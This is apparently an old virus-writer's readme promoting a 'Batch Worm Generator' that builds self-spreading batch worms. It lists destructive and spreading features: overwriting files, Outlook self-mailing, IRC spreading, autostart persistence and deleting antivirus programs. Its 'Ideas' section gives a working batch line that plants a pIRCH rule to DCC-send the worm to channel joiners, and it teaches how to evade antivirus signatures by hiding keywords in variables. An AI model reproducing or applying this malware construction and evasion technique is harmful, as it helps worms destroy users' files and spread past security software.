
  Batch Worm Generator
  by SeCoNd PaRt To HeLl
  [www.spth.de.vu]


I.) What is the Batch Worm Generator?
II.) Freatures
III.) Ideas





I.)  What is the Batch Worm Generator?

The Batch Worm Generator or Constructor.BAT.BWG is propable the best Batch Virii Generator.
It generates Worms, which are able to spread in the Internet.
Every BWG-Worm is different, because I develope a new technic, but you will write something about it
in "Ideas"!
I try to make it impossible to detect all BWG-Worms. KAV tried to find the worms as I-Worm.BWG
or as I-Worm.BWG.b! But now they don't detect any Worm!




II.) Freatures

BWG is still a good Generator, but I've much more thinks to do...

Infects:
   + BAT files (overwriting)
      - Windows Direction
      - Current Direction
      - Root Direction
      - and more
   + all files (overwriting)

copying:
   + desktop path
   + Disk A:

worming:
   + Self mailing via MS Outlook
   + mIRC spreading
   + pIRCH spreading

autostart:
   + win.ini
   + Autostart Direction
      - german
      - english

extra:
   + subst drive
   + message
   + include EICAR-Test-File
   + delete some AV progs




III.) Ideas

BWG is real good because of a technic, I've developed. I try to explain it:

For instands KAV detect this line:

   echo Events1= ON JOIN:#: /dcc send $nick %WinDir%\sgh.bat >> C:\Pirch98\events.ini

What can we do?? You have to change the code, but how?
I had a very good idea, how a AV prog isn't able to detect this line. You write:

   set pirchA=send
   echo Events1= ON JOIN:#: /dcc %pirchA% $nick %WinDir%\sgh.bat >> C:\Pirch98\events.ini

or

   set pirchB=JOIN
   echo Events1= ON %pirchB%:#: /dcc send $nick %WinDir%\sgh.bat >> C:\Pirch98\events.ini

No AV-prog will detect any worm with this technic! I think this is a really good techic, and KAV must
be good to find the worms!!